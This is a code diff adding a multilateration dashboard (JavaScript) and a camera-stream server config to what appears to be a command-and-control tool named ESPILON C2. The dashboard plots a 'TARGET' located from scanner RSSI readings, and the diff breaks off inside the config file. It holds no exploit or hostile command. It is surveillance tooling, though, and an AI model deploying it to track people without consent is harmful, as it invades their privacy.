Normal file
BIN
tools/c2/static/images/no-signal.png
Normal file
Binary file not shown.
|
After Width: | Height: | Size: 18 KiB |
830
tools/c2/static/js/mlat.js
Normal file
830
tools/c2/static/js/mlat.js
Normal file
@ -0,0 +1,830 @@
|
||||
/**
|
||||
* MLAT (Multilateration) Visualization for ESPILON C2
|
||||
* Supports Map view (Leaflet/OSM) and Plan view (Canvas)
|
||||
* Supports both GPS (lat/lon) and Local (x/y in meters) coordinates
|
||||
*/
|
||||
|
||||
// ============================================================
|
||||
// State
|
||||
// ============================================================
|
||||
let currentView = 'map';
|
||||
let coordMode = 'gps'; // 'gps' or 'local'
|
||||
let map = null;
|
||||
let planCanvas = null;
|
||||
let planCtx = null;
|
||||
let planImage = null;
|
||||
|
||||
// Plan settings for local coordinate mode
|
||||
let planSettings = {
|
||||
width: 50, // meters
|
||||
height: 30, // meters
|
||||
originX: 0, // meters offset
|
||||
originY: 0 // meters offset
|
||||
};
|
||||
|
||||
// Plan display options
|
||||
let showGrid = true;
|
||||
let showLabels = true;
|
||||
let planZoom = 1.0; // 1.0 = 100%
|
||||
let panOffset = { x: 0, y: 0 }; // Pan offset in pixels
|
||||
let isPanning = false;
|
||||
let lastPanPos = { x: 0, y: 0 };
|
||||
|
||||
// Markers
|
||||
let scannerMarkers = {};
|
||||
let targetMarker = null;
|
||||
let rangeCircles = {};
|
||||
|
||||
// Data
|
||||
let scanners = [];
|
||||
let target = null;
|
||||
|
||||
// ============================================================
|
||||
// Map View (Leaflet) - GPS Mode
|
||||
// ============================================================
|
||||
function initMap() {
|
||||
if (map) return;
|
||||
|
||||
const centerLat = parseFloat(document.getElementById('map-center-lat').value) || 48.8566;
|
||||
const centerLon = parseFloat(document.getElementById('map-center-lon').value) || 2.3522;
|
||||
const zoom = parseInt(document.getElementById('map-zoom').value) || 18;
|
||||
|
||||
map = L.map('leaflet-map', {
|
||||
center: [centerLat, centerLon],
|
||||
zoom: zoom,
|
||||
zoomControl: true
|
||||
});
|
||||
|
||||
// Dark tile layer (CartoDB Dark Matter)
|
||||
L.tileLayer('https://{s}.basemaps.cartocdn.com/dark_all/{z}/{x}/{y}{r}.png', {
|
||||
attribution: '© <a href="https://carto.com/">CARTO</a>',
|
||||
subdomains: 'abcd',
|
||||
maxZoom: 20
|
||||
}).addTo(map);
|
||||
}
|
||||
|
||||
function createScannerIcon() {
|
||||
return L.divIcon({
|
||||
className: 'scanner-marker',
|
||||
iconSize: [16, 16],
|
||||
iconAnchor: [8, 8]
|
||||
});
|
||||
}
|
||||
|
||||
function createTargetIcon() {
|
||||
return L.divIcon({
|
||||
className: 'target-marker',
|
||||
html: `<svg width="24" height="24" viewBox="0 0 24 24" fill="none">
|
||||
<circle cx="12" cy="12" r="10" fill="#f87171" fill-opacity="0.3"/>
|
||||
<circle cx="12" cy="12" r="6" fill="#f87171"/>
|
||||
<circle cx="12" cy="12" r="3" fill="#fff"/>
|
||||
</svg>`,
|
||||
iconSize: [24, 24],
|
||||
iconAnchor: [12, 12]
|
||||
});
|
||||
}
|
||||
|
||||
function updateMapMarkers() {
|
||||
if (!map) return;
|
||||
|
||||
// Only show GPS mode scanners on map
|
||||
const gpsFilteredScanners = scanners.filter(s => s.position && s.position.lat !== undefined);
|
||||
const currentIds = new Set(gpsFilteredScanners.map(s => s.id));
|
||||
|
||||
// Remove old markers
|
||||
for (const id in scannerMarkers) {
|
||||
if (!currentIds.has(id)) {
|
||||
map.removeLayer(scannerMarkers[id]);
|
||||
delete scannerMarkers[id];
|
||||
if (rangeCircles[id]) {
|
||||
map.removeLayer(rangeCircles[id]);
|
||||
delete rangeCircles[id];
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Update/add scanner markers
|
||||
for (const scanner of gpsFilteredScanners) {
|
||||
const pos = scanner.position;
|
||||
|
||||
if (scannerMarkers[scanner.id]) {
|
||||
scannerMarkers[scanner.id].setLatLng([pos.lat, pos.lon]);
|
||||
} else {
|
||||
scannerMarkers[scanner.id] = L.marker([pos.lat, pos.lon], {
|
||||
icon: createScannerIcon()
|
||||
}).addTo(map);
|
||||
|
||||
scannerMarkers[scanner.id].bindPopup(`
|
||||
<strong>${scanner.id}</strong><br>
|
||||
RSSI: ${scanner.last_rssi || '-'} dBm<br>
|
||||
Distance: ${scanner.estimated_distance || '-'} m
|
||||
`);
|
||||
}
|
||||
|
||||
// Update popup content
|
||||
scannerMarkers[scanner.id].setPopupContent(`
|
||||
<strong>${scanner.id}</strong><br>
|
||||
RSSI: ${scanner.last_rssi || '-'} dBm<br>
|
||||
Distance: ${scanner.estimated_distance || '-'} m
|
||||
`);
|
||||
|
||||
// Update range circle
|
||||
if (scanner.estimated_distance) {
|
||||
if (rangeCircles[scanner.id]) {
|
||||
rangeCircles[scanner.id].setLatLng([pos.lat, pos.lon]);
|
||||
rangeCircles[scanner.id].setRadius(scanner.estimated_distance);
|
||||
} else {
|
||||
rangeCircles[scanner.id] = L.circle([pos.lat, pos.lon], {
|
||||
radius: scanner.estimated_distance,
|
||||
color: 'rgba(129, 140, 248, 0.4)',
|
||||
fillColor: 'rgba(129, 140, 248, 0.1)',
|
||||
fillOpacity: 0.3,
|
||||
weight: 2
|
||||
}).addTo(map);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Update target marker (GPS only)
|
||||
if (target && target.lat !== undefined) {
|
||||
if (targetMarker) {
|
||||
targetMarker.setLatLng([target.lat, target.lon]);
|
||||
} else {
|
||||
targetMarker = L.marker([target.lat, target.lon], {
|
||||
icon: createTargetIcon()
|
||||
}).addTo(map);
|
||||
}
|
||||
} else if (targetMarker) {
|
||||
map.removeLayer(targetMarker);
|
||||
targetMarker = null;
|
||||
}
|
||||
}
|
||||
|
||||
function centerMap() {
|
||||
if (!map) return;
|
||||
|
||||
const lat = parseFloat(document.getElementById('map-center-lat').value);
|
||||
const lon = parseFloat(document.getElementById('map-center-lon').value);
|
||||
const zoom = parseInt(document.getElementById('map-zoom').value);
|
||||
|
||||
map.setView([lat, lon], zoom);
|
||||
}
|
||||
|
||||
function fitMapToBounds() {
|
||||
if (!map || scanners.length === 0) return;
|
||||
|
||||
const points = scanners
|
||||
.filter(s => s.position && s.position.lat !== undefined)
|
||||
.map(s => [s.position.lat, s.position.lon]);
|
||||
|
||||
if (target && target.lat !== undefined) {
|
||||
points.push([target.lat, target.lon]);
|
||||
}
|
||||
|
||||
if (points.length > 0) {
|
||||
map.fitBounds(points, { padding: [50, 50] });
|
||||
}
|
||||
}
|
||||
|
||||
// ============================================================
|
||||
// Plan View (Canvas) - Supports both GPS and Local coords
|
||||
// ============================================================
|
||||
function initPlanCanvas() {
|
||||
planCanvas = document.getElementById('plan-canvas');
|
||||
if (!planCanvas) return;
|
||||
|
||||
planCtx = planCanvas.getContext('2d');
|
||||
resizePlanCanvas();
|
||||
setupPlanPanning();
|
||||
window.addEventListener('resize', resizePlanCanvas);
|
||||
}
|
||||
|
||||
function resizePlanCanvas() {
|
||||
if (!planCanvas) return;
|
||||
|
||||
const wrapper = planCanvas.parentElement;
|
||||
planCanvas.width = wrapper.clientWidth - 32;
|
||||
planCanvas.height = wrapper.clientHeight - 32;
|
||||
drawPlan();
|
||||
}
|
||||
|
||||
function drawPlan() {
|
||||
if (!planCtx) return;
|
||||
|
||||
const ctx = planCtx;
|
||||
const w = planCanvas.width;
|
||||
const h = planCanvas.height;
|
||||
|
||||
// Clear (before transform)
|
||||
ctx.setTransform(1, 0, 0, 1, 0, 0);
|
||||
ctx.fillStyle = '#06060a';
|
||||
ctx.fillRect(0, 0, w, h);
|
||||
|
||||
// Apply zoom and pan transform
|
||||
const centerX = w / 2;
|
||||
const centerY = h / 2;
|
||||
ctx.setTransform(planZoom, 0, 0, planZoom,
|
||||
centerX - centerX * planZoom + panOffset.x,
|
||||
centerY - centerY * planZoom + panOffset.y);
|
||||
|
||||
// Draw plan image if loaded
|
||||
if (planImage) {
|
||||
ctx.drawImage(planImage, 0, 0, w, h);
|
||||
}
|
||||
|
||||
// Draw grid (always when enabled, on top of image)
|
||||
if (showGrid) {
|
||||
drawGrid(ctx, w, h, !!planImage);
|
||||
}
|
||||
|
||||
// Draw range circles
|
||||
for (const scanner of scanners) {
|
||||
if (scanner.estimated_distance) {
|
||||
drawPlanRangeCircle(ctx, scanner);
|
||||
}
|
||||
}
|
||||
|
||||
// Draw scanners
|
||||
for (const scanner of scanners) {
|
||||
drawPlanScanner(ctx, scanner);
|
||||
}
|
||||
|
||||
// Draw target
|
||||
if (target) {
|
||||
drawPlanTarget(ctx);
|
||||
}
|
||||
|
||||
// Reset transform for any UI overlay
|
||||
ctx.setTransform(1, 0, 0, 1, 0, 0);
|
||||
}
|
||||
|
||||
function drawGrid(ctx, w, h, hasImage = false) {
|
||||
// More visible grid when over image
|
||||
ctx.strokeStyle = hasImage ? 'rgba(129, 140, 248, 0.4)' : '#21262d';
|
||||
ctx.lineWidth = hasImage ? 1.5 : 1;
|
||||
ctx.font = '10px monospace';
|
||||
ctx.fillStyle = hasImage ? 'rgba(200, 200, 200, 0.9)' : '#484f58';
|
||||
|
||||
if (coordMode === 'local') {
|
||||
// Draw grid based on plan size in meters
|
||||
const metersPerPixelX = planSettings.width / w;
|
||||
const metersPerPixelY = planSettings.height / h;
|
||||
|
||||
// Grid every 5 meters
|
||||
const gridMeters = 5;
|
||||
const gridPixelsX = gridMeters / metersPerPixelX;
|
||||
const gridPixelsY = gridMeters / metersPerPixelY;
|
||||
|
||||
// Vertical lines
|
||||
for (let x = gridPixelsX; x < w; x += gridPixelsX) {
|
||||
ctx.beginPath();
|
||||
ctx.moveTo(x, 0);
|
||||
ctx.lineTo(x, h);
|
||||
ctx.stroke();
|
||||
|
||||
// Label
|
||||
if (showLabels) {
|
||||
const meters = (x * metersPerPixelX + planSettings.originX).toFixed(0);
|
||||
if (hasImage) {
|
||||
// Background for readability
|
||||
ctx.fillStyle = 'rgba(0, 0, 0, 0.6)';
|
||||
ctx.fillRect(x + 1, 2, 25, 12);
|
||||
ctx.fillStyle = 'rgba(200, 200, 200, 0.9)';
|
||||
}
|
||||
ctx.fillText(`${meters}m`, x + 2, 12);
|
||||
}
|
||||
}
|
||||
|
||||
// Horizontal lines
|
||||
for (let y = gridPixelsY; y < h; y += gridPixelsY) {
|
||||
ctx.beginPath();
|
||||
ctx.moveTo(0, y);
|
||||
ctx.lineTo(w, y);
|
||||
ctx.stroke();
|
||||
|
||||
// Label
|
||||
if (showLabels) {
|
||||
const meters = (planSettings.height - y * metersPerPixelY + planSettings.originY).toFixed(0);
|
||||
if (hasImage) {
|
||||
ctx.fillStyle = 'rgba(0, 0, 0, 0.6)';
|
||||
ctx.fillRect(1, y - 13, 25, 12);
|
||||
ctx.fillStyle = 'rgba(200, 200, 200, 0.9)';
|
||||
}
|
||||
ctx.fillText(`${meters}m`, 2, y - 2);
|
||||
}
|
||||
}
|
||||
|
||||
// Size label
|
||||
if (showLabels) {
|
||||
ctx.fillStyle = hasImage ? 'rgba(129, 140, 248, 0.9)' : '#818cf8';
|
||||
if (hasImage) {
|
||||
ctx.fillStyle = 'rgba(0, 0, 0, 0.6)';
|
||||
ctx.fillRect(w - 65, h - 16, 62, 14);
|
||||
ctx.fillStyle = 'rgba(129, 140, 248, 0.9)';
|
||||
}
|
||||
ctx.fillText(`${planSettings.width}x${planSettings.height}m`, w - 60, h - 5);
|
||||
}
|
||||
} else {
|
||||
// Simple grid for GPS mode
|
||||
const gridSize = 50;
|
||||
|
||||
for (let x = gridSize; x < w; x += gridSize) {
|
||||
ctx.beginPath();
|
||||
ctx.moveTo(x, 0);
|
||||
ctx.lineTo(x, h);
|
||||
ctx.stroke();
|
||||
}
|
||||
|
||||
for (let y = gridSize; y < h; y += gridSize) {
|
||||
ctx.beginPath();
|
||||
ctx.moveTo(0, y);
|
||||
ctx.lineTo(w, y);
|
||||
ctx.stroke();
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
function toggleGrid() {
|
||||
showGrid = !showGrid;
|
||||
document.getElementById('grid-toggle').classList.toggle('active', showGrid);
|
||||
drawPlan();
|
||||
}
|
||||
|
||||
function toggleLabels() {
|
||||
showLabels = !showLabels;
|
||||
document.getElementById('labels-toggle').classList.toggle('active', showLabels);
|
||||
drawPlan();
|
||||
}
|
||||
|
||||
function zoomPlan(direction) {
|
||||
const zoomStep = 0.25;
|
||||
const minZoom = 0.25;
|
||||
const maxZoom = 4.0;
|
||||
|
||||
if (direction > 0) {
|
||||
planZoom = Math.min(maxZoom, planZoom + zoomStep);
|
||||
} else {
|
||||
planZoom = Math.max(minZoom, planZoom - zoomStep);
|
||||
}
|
||||
|
||||
updateZoomDisplay();
|
||||
drawPlan();
|
||||
}
|
||||
|
||||
function resetZoom() {
|
||||
planZoom = 1.0;
|
||||
panOffset = { x: 0, y: 0 };
|
||||
updateZoomDisplay();
|
||||
drawPlan();
|
||||
}
|
||||
|
||||
function updateZoomDisplay() {
|
||||
const el = document.getElementById('zoom-level');
|
||||
if (el) {
|
||||
el.textContent = Math.round(planZoom * 100) + '%';
|
||||
}
|
||||
}
|
||||
|
||||
function setupPlanPanning() {
|
||||
if (!planCanvas) return;
|
||||
|
||||
// Mouse wheel zoom
|
||||
planCanvas.addEventListener('wheel', (e) => {
|
||||
e.preventDefault();
|
||||
const direction = e.deltaY < 0 ? 1 : -1;
|
||||
zoomPlan(direction);
|
||||
}, { passive: false });
|
||||
|
||||
// Pan with mouse drag
|
||||
planCanvas.addEventListener('mousedown', (e) => {
|
||||
if (e.button === 0) { // Left click
|
||||
isPanning = true;
|
||||
lastPanPos = { x: e.clientX, y: e.clientY };
|
||||
planCanvas.style.cursor = 'grabbing';
|
||||
}
|
||||
});
|
||||
|
||||
planCanvas.addEventListener('mousemove', (e) => {
|
||||
if (isPanning) {
|
||||
const dx = e.clientX - lastPanPos.x;
|
||||
const dy = e.clientY - lastPanPos.y;
|
||||
panOffset.x += dx;
|
||||
panOffset.y += dy;
|
||||
lastPanPos = { x: e.clientX, y: e.clientY };
|
||||
drawPlan();
|
||||
}
|
||||
});
|
||||
|
||||
planCanvas.addEventListener('mouseup', () => {
|
||||
isPanning = false;
|
||||
planCanvas.style.cursor = 'grab';
|
||||
});
|
||||
|
||||
planCanvas.addEventListener('mouseleave', () => {
|
||||
isPanning = false;
|
||||
planCanvas.style.cursor = 'grab';
|
||||
});
|
||||
|
||||
planCanvas.style.cursor = 'grab';
|
||||
}
|
||||
|
||||
function worldToCanvas(pos) {
|
||||
const w = planCanvas.width;
|
||||
const h = planCanvas.height;
|
||||
|
||||
if (coordMode === 'local' || (pos.x !== undefined && pos.lat === undefined)) {
|
||||
// Local coordinates (x, y in meters)
|
||||
const x = pos.x !== undefined ? pos.x : 0;
|
||||
const y = pos.y !== undefined ? pos.y : 0;
|
||||
|
||||
const canvasX = ((x - planSettings.originX) / planSettings.width) * w;
|
||||
const canvasY = h - ((y - planSettings.originY) / planSettings.height) * h;
|
||||
|
||||
return {
|
||||
x: Math.max(0, Math.min(w, canvasX)),
|
||||
y: Math.max(0, Math.min(h, canvasY))
|
||||
};
|
||||
} else {
|
||||
// GPS coordinates (lat, lon)
|
||||
const centerLat = parseFloat(document.getElementById('map-center-lat').value) || 48.8566;
|
||||
const centerLon = parseFloat(document.getElementById('map-center-lon').value) || 2.3522;
|
||||
const range = 0.002; // ~200m
|
||||
|
||||
const canvasX = ((pos.lon - centerLon + range) / (2 * range)) * w;
|
||||
const canvasY = ((centerLat + range - pos.lat) / (2 * range)) * h;
|
||||
|
||||
return {
|
||||
x: Math.max(0, Math.min(w, canvasX)),
|
||||
y: Math.max(0, Math.min(h, canvasY))
|
||||
};
|
||||
}
|
||||
}
|
||||
|
||||
function distanceToPixels(distance) {
|
||||
if (coordMode === 'local') {
|
||||
// Direct conversion: distance in meters to pixels
|
||||
const pixelsPerMeter = planCanvas.width / planSettings.width;
|
||||
return distance * pixelsPerMeter;
|
||||
} else {
|
||||
// GPS mode: approximate conversion
|
||||
const range = 0.002; // degrees
|
||||
const rangeMeters = range * 111000; // ~222m
|
||||
const pixelsPerMeter = planCanvas.width / rangeMeters;
|
||||
return distance * pixelsPerMeter;
|
||||
}
|
||||
}
|
||||
|
||||
function drawPlanRangeCircle(ctx, scanner) {
|
||||
const pos = scanner.position;
|
||||
if (!pos) return;
|
||||
|
||||
// Check if position is valid for current mode
|
||||
if (coordMode === 'local' && pos.x === undefined && pos.lat !== undefined) return;
|
||||
if (coordMode === 'gps' && pos.lat === undefined && pos.x !== undefined) return;
|
||||
|
||||
const canvasPos = worldToCanvas(pos);
|
||||
const radius = distanceToPixels(scanner.estimated_distance);
|
||||
|
||||
ctx.beginPath();
|
||||
ctx.arc(canvasPos.x, canvasPos.y, radius, 0, Math.PI * 2);
|
||||
ctx.strokeStyle = 'rgba(129, 140, 248, 0.3)';
|
||||
ctx.lineWidth = 2;
|
||||
ctx.stroke();
|
||||
}
|
||||
|
||||
function drawPlanScanner(ctx, scanner) {
|
||||
const pos = scanner.position;
|
||||
if (!pos) return;
|
||||
|
||||
// Check if position is valid
|
||||
const hasGPS = pos.lat !== undefined;
|
||||
const hasLocal = pos.x !== undefined;
|
||||
|
||||
if (!hasGPS && !hasLocal) return;
|
||||
|
||||
const canvasPos = worldToCanvas(pos);
|
||||
|
||||
// Dot
|
||||
ctx.beginPath();
|
||||
ctx.arc(canvasPos.x, canvasPos.y, 8, 0, Math.PI * 2);
|
||||
ctx.fillStyle = '#818cf8';
|
||||
ctx.fill();
|
||||
|
||||
// Label
|
||||
ctx.font = '12px monospace';
|
||||
ctx.fillStyle = '#c9d1d9';
|
||||
ctx.textAlign = 'center';
|
||||
ctx.fillText(scanner.id, canvasPos.x, canvasPos.y - 15);
|
||||
|
||||
// RSSI
|
||||
if (scanner.last_rssi !== null) {
|
||||
ctx.font = '10px monospace';
|
||||
ctx.fillStyle = '#484f58';
|
||||
ctx.fillText(`${scanner.last_rssi} dBm`, canvasPos.x, canvasPos.y + 20);
|
||||
}
|
||||
|
||||
ctx.textAlign = 'left';
|
||||
}
|
||||
|
||||
function drawPlanTarget(ctx) {
|
||||
if (!target) return;
|
||||
|
||||
const hasGPS = target.lat !== undefined;
|
||||
const hasLocal = target.x !== undefined;
|
||||
|
||||
if (!hasGPS && !hasLocal) return;
|
||||
|
||||
const canvasPos = worldToCanvas(target);
|
||||
|
||||
// Glow
|
||||
ctx.beginPath();
|
||||
ctx.arc(canvasPos.x, canvasPos.y, 20, 0, Math.PI * 2);
|
||||
ctx.fillStyle = 'rgba(248, 113, 113, 0.3)';
|
||||
ctx.fill();
|
||||
|
||||
// Cross
|
||||
ctx.strokeStyle = '#f87171';
|
||||
ctx.lineWidth = 3;
|
||||
|
||||
ctx.beginPath();
|
||||
ctx.moveTo(canvasPos.x - 12, canvasPos.y - 12);
|
||||
ctx.lineTo(canvasPos.x + 12, canvasPos.y + 12);
|
||||
ctx.stroke();
|
||||
|
||||
ctx.beginPath();
|
||||
ctx.moveTo(canvasPos.x + 12, canvasPos.y - 12);
|
||||
ctx.lineTo(canvasPos.x - 12, canvasPos.y + 12);
|
||||
ctx.stroke();
|
||||
|
||||
// Label
|
||||
ctx.font = 'bold 12px monospace';
|
||||
ctx.fillStyle = '#f87171';
|
||||
ctx.textAlign = 'center';
|
||||
ctx.fillText('TARGET', canvasPos.x, canvasPos.y - 25);
|
||||
ctx.textAlign = 'left';
|
||||
}
|
||||
|
||||
// ============================================================
|
||||
// Plan Image Upload & Calibration
|
||||
// ============================================================
|
||||
function uploadPlanImage(input) {
|
||||
const file = input.files[0];
|
||||
if (!file) return;
|
||||
|
||||
const reader = new FileReader();
|
||||
reader.onload = function(e) {
|
||||
planImage = new Image();
|
||||
planImage.onload = function() {
|
||||
document.getElementById('calibrate-btn').disabled = false;
|
||||
drawPlan();
|
||||
};
|
||||
planImage.src = e.target.result;
|
||||
};
|
||||
reader.readAsDataURL(file);
|
||||
}
|
||||
|
||||
function calibratePlan() {
|
||||
alert('Calibration: Set the plan dimensions in Plan Settings panel.\n\nThe grid will map x,y meters to your uploaded image.');
|
||||
drawPlan();
|
||||
}
|
||||
|
||||
function clearPlan() {
|
||||
planImage = null;
|
||||
document.getElementById('calibrate-btn').disabled = true;
|
||||
drawPlan();
|
||||
}
|
||||
|
||||
function applyPlanSettings() {
|
||||
planSettings.width = parseFloat(document.getElementById('plan-width').value) || 50;
|
||||
planSettings.height = parseFloat(document.getElementById('plan-height').value) || 30;
|
||||
planSettings.originX = parseFloat(document.getElementById('plan-origin-x').value) || 0;
|
||||
planSettings.originY = parseFloat(document.getElementById('plan-origin-y').value) || 0;
|
||||
updateSizeDisplay();
|
||||
drawPlan();
|
||||
}
|
||||
|
||||
function adjustPlanSize(delta) {
|
||||
// Adjust both width and height proportionally
|
||||
const minSize = 10;
|
||||
const maxSize = 500;
|
||||
|
||||
planSettings.width = Math.max(minSize, Math.min(maxSize, planSettings.width + delta));
|
||||
planSettings.height = Math.max(minSize, Math.min(maxSize, planSettings.height + Math.round(delta * 0.6)));
|
||||
|
||||
// Update input fields in sidebar
|
||||
document.getElementById('plan-width').value = planSettings.width;
|
||||
document.getElementById('plan-height').value = planSettings.height;
|
||||
|
||||
updateSizeDisplay();
|
||||
drawPlan();
|
||||
}
|
||||
|
||||
function updateSizeDisplay() {
|
||||
const el = document.getElementById('size-display');
|
||||
if (el) {
|
||||
el.textContent = `${planSettings.width}x${planSettings.height}m`;
|
||||
}
|
||||
}
|
||||
|
||||
// ============================================================
|
||||
// View Switching
|
||||
// ============================================================
|
||||
function switchView(view) {
|
||||
currentView = view;
|
||||
|
||||
// Update buttons
|
||||
document.querySelectorAll('.view-btn').forEach(btn => {
|
||||
btn.classList.toggle('active', btn.dataset.view === view);
|
||||
});
|
||||
|
||||
// Update views
|
||||
document.getElementById('map-view').classList.toggle('active', view === 'map');
|
||||
document.getElementById('plan-view').classList.toggle('active', view === 'plan');
|
||||
|
||||
// Show/hide settings panels based on view
|
||||
document.getElementById('map-settings').style.display = view === 'map' ? 'block' : 'none';
|
||||
document.getElementById('plan-settings').style.display = view === 'plan' ? 'block' : 'none';
|
||||
|
||||
// Initialize view if needed
|
||||
if (view === 'map') {
|
||||
setTimeout(() => {
|
||||
if (!map) initMap();
|
||||
else map.invalidateSize();
|
||||
updateMapMarkers();
|
||||
}, 100);
|
||||
} else {
|
||||
if (!planCanvas) initPlanCanvas();
|
||||
else resizePlanCanvas();
|
||||
}
|
||||
}
|
||||
|
||||
// ============================================================
|
||||
// UI Updates
|
||||
// ============================================================
|
||||
function updateCoordMode(mode) {
|
||||
coordMode = mode;
|
||||
|
||||
const modeDisplay = document.getElementById('coord-mode');
|
||||
const coord1Label = document.getElementById('target-coord1-label');
|
||||
const coord2Label = document.getElementById('target-coord2-label');
|
||||
|
||||
if (mode === 'gps') {
|
||||
modeDisplay.textContent = 'GPS';
|
||||
coord1Label.textContent = 'Latitude';
|
||||
coord2Label.textContent = 'Longitude';
|
||||
} else {
|
||||
modeDisplay.textContent = 'Local';
|
||||
coord1Label.textContent = 'X (m)';
|
||||
coord2Label.textContent = 'Y (m)';
|
||||
}
|
||||
}
|
||||
|
||||
function updateTargetInfo(targetData) {
|
||||
const coord1El = document.getElementById('target-coord1');
|
||||
const coord2El = document.getElementById('target-coord2');
|
||||
|
||||
if (targetData && targetData.position) {
|
||||
const pos = targetData.position;
|
||||
|
||||
if (pos.lat !== undefined) {
|
||||
coord1El.textContent = pos.lat.toFixed(6);
|
||||
coord2El.textContent = pos.lon.toFixed(6);
|
||||
} else if (pos.x !== undefined) {
|
||||
coord1El.textContent = pos.x.toFixed(2) + ' m';
|
||||
coord2El.textContent = pos.y.toFixed(2) + ' m';
|
||||
} else {
|
||||
coord1El.textContent = '-';
|
||||
coord2El.textContent = '-';
|
||||
}
|
||||
|
||||
document.getElementById('target-confidence').textContent = ((targetData.confidence || 0) * 100).toFixed(0) + '%';
|
||||
document.getElementById('target-age').textContent = (targetData.age_seconds || 0).toFixed(1) + 's ago';
|
||||
|
||||
// Store for rendering
|
||||
target = pos;
|
||||
} else {
|
||||
coord1El.textContent = '-';
|
||||
coord2El.textContent = '-';
|
||||
document.getElementById('target-confidence').textContent = '-';
|
||||
document.getElementById('target-age').textContent = '-';
|
||||
target = null;
|
||||
}
|
||||
}
|
||||
|
||||
function updateScannerList(scannersData) {
|
||||
scanners = scannersData || [];
|
||||
const list = document.getElementById('scanner-list');
|
||||
document.getElementById('scanner-count').textContent = scanners.length;
|
||||
|
||||
if (scanners.length === 0) {
|
||||
list.innerHTML = '<div class="empty">No scanners active</div>';
|
||||
return;
|
||||
}
|
||||
|
||||
list.innerHTML = scanners.map(s => {
|
||||
const pos = s.position || {};
|
||||
let posStr;
|
||||
|
||||
if (pos.lat !== undefined) {
|
||||
posStr = `(${pos.lat.toFixed(4)}, ${pos.lon.toFixed(4)})`;
|
||||
} else if (pos.x !== undefined) {
|
||||
posStr = `(${pos.x.toFixed(1)}m, ${pos.y.toFixed(1)}m)`;
|
||||
} else {
|
||||
posStr = '(-, -)';
|
||||
}
|
||||
|
||||
return `
|
||||
<div class="scanner-item">
|
||||
<div class="scanner-id">${s.id}</div>
|
||||
<div class="scanner-details">
|
||||
Pos: ${posStr} |
|
||||
RSSI: ${s.last_rssi !== null ? s.last_rssi + ' dBm' : '-'} |
|
||||
Dist: ${s.estimated_distance !== null ? s.estimated_distance + 'm' : '-'}
|
||||
</div>
|
||||
</div>
|
||||
`;
|
||||
}).join('');
|
||||
}
|
||||
|
||||
function updateConfig(config) {
|
||||
if (!config) return;
|
||||
document.getElementById('config-rssi').value = config.rssi_at_1m || -40;
|
||||
document.getElementById('config-n').value = config.path_loss_n || 2.5;
|
||||
document.getElementById('config-smooth').value = config.smoothing_window || 5;
|
||||
}
|
||||
|
||||
// ============================================================
|
||||
// API Functions
|
||||
// ============================================================
|
||||
async function fetchState() {
|
||||
try {
|
||||
const res = await fetch('/api/mlat/state');
|
||||
const state = await res.json();
|
||||
|
||||
// Update coordinate mode from server
|
||||
if (state.coord_mode) {
|
||||
updateCoordMode(state.coord_mode);
|
||||
}
|
||||
|
||||
updateTargetInfo(state.target);
|
||||
updateScannerList(state.scanners);
|
||||
|
||||
if (state.config) {
|
||||
updateConfig(state.config);
|
||||
}
|
||||
|
||||
// Update visualization
|
||||
if (currentView === 'map') {
|
||||
updateMapMarkers();
|
||||
} else {
|
||||
drawPlan();
|
||||
}
|
||||
} catch (e) {
|
||||
console.error('Failed to fetch MLAT state:', e);
|
||||
}
|
||||
}
|
||||
|
||||
async function saveConfig() {
|
||||
const config = {
|
||||
rssi_at_1m: parseFloat(document.getElementById('config-rssi').value),
|
||||
path_loss_n: parseFloat(document.getElementById('config-n').value),
|
||||
smoothing_window: parseInt(document.getElementById('config-smooth').value)
|
||||
};
|
||||
|
||||
try {
|
||||
await fetch('/api/mlat/config', {
|
||||
method: 'POST',
|
||||
headers: { 'Content-Type': 'application/json' },
|
||||
body: JSON.stringify(config)
|
||||
});
|
||||
console.log('Config saved');
|
||||
} catch (e) {
|
||||
console.error('Failed to save config:', e);
|
||||
}
|
||||
}
|
||||
|
||||
async function clearData() {
|
||||
try {
|
||||
await fetch('/api/mlat/clear', { method: 'POST' });
|
||||
fetchState();
|
||||
} catch (e) {
|
||||
console.error('Failed to clear data:', e);
|
||||
}
|
||||
}
|
||||
|
||||
// ============================================================
|
||||
// Initialization
|
||||
// ============================================================
|
||||
document.addEventListener('DOMContentLoaded', () => {
|
||||
// Initialize map view by default
|
||||
initMap();
|
||||
initPlanCanvas();
|
||||
|
||||
// Initialize displays
|
||||
updateZoomDisplay();
|
||||
updateSizeDisplay();
|
||||
|
||||
// Start polling
|
||||
fetchState();
|
||||
setInterval(fetchState, 2000);
|
||||
});
|
||||
3
tools/c2/streams/__init__.py
Normal file
3
tools/c2/streams/__init__.py
Normal file
@ -0,0 +1,3 @@
|
||||
from .server import CameraServer
|
||||
|
||||
__all__ = ["CameraServer"]
|
||||
65
tools/c2/streams/config.py
Normal file
65
tools/c2/streams/config.py
Normal file
@ -0,0 +1,65 @@
|
||||
"""Configuration loader for camera server module - reads from .env file."""
|
||||
|
||||
import os
|
||||
from pathlib import Path
|
||||
from dotenv import load_dotenv
|
||||
|
||||
# Load .env file from c2 root directory
|
||||
C2_ROOT = Path(__file__).parent.parent
|
||||
ENV_FILE = C2_ROOT / ".env"
|
||||
|
||||
if ENV_FILE.exists():
|
||||
load_dotenv(ENV_FILE)
|
||||
else:
|
||||
# Try .env.example as fallback for development
|
||||
example_env = C2_ROOT / ".env.example"
|
||||
if example_env.exists():
|
||||
load_dotenv(example_env)
|
||||
|
||||
|
||||
def _get_bool(key: str, default: bool = False) -> bool:
|
||||
"""Get boolean value from environment."""
|
||||
val = os.getenv(key, str(default)).lower()
|
||||
return val in ("true", "1", "yes", "on")
|
||||
|
||||
|
||||
def _get_int(key: str, default: int) -> int:
|
||||
"""Get integer value from environment."""
|
||||
try:
|
||||
return int(os.getenv(key, default))
|
||||
except ValueError:
|
||||
return default
|
||||
|
||||
|
||||
# C2 Server
|
||||
C2_HOST = os.getenv("C2_HOST", "0.0.0.0")
|
||||
C2_PORT = _get_int("C2_PORT", 2626)
|
||||
|
||||
# UDP Server configuration
|
||||
UDP_HOST = os.getenv("UDP_HOST", "0.0.0.0")
|
||||
UDP_PORT = _get_int("UDP_PORT", 5000)
|
||||
UDP_BUFFER_SIZE = _get_int("UDP_BUFFER_SIZE", 65535)
|
||||
|
||||
# Flask Web Server configuration
|
||||
WEB_HOST = os.getenv("WEB_HOST", "0.0.0.0")
|
||||
WEB_PORT = _get_int("WEB_PORT", 8000)
|
||||
|
||||
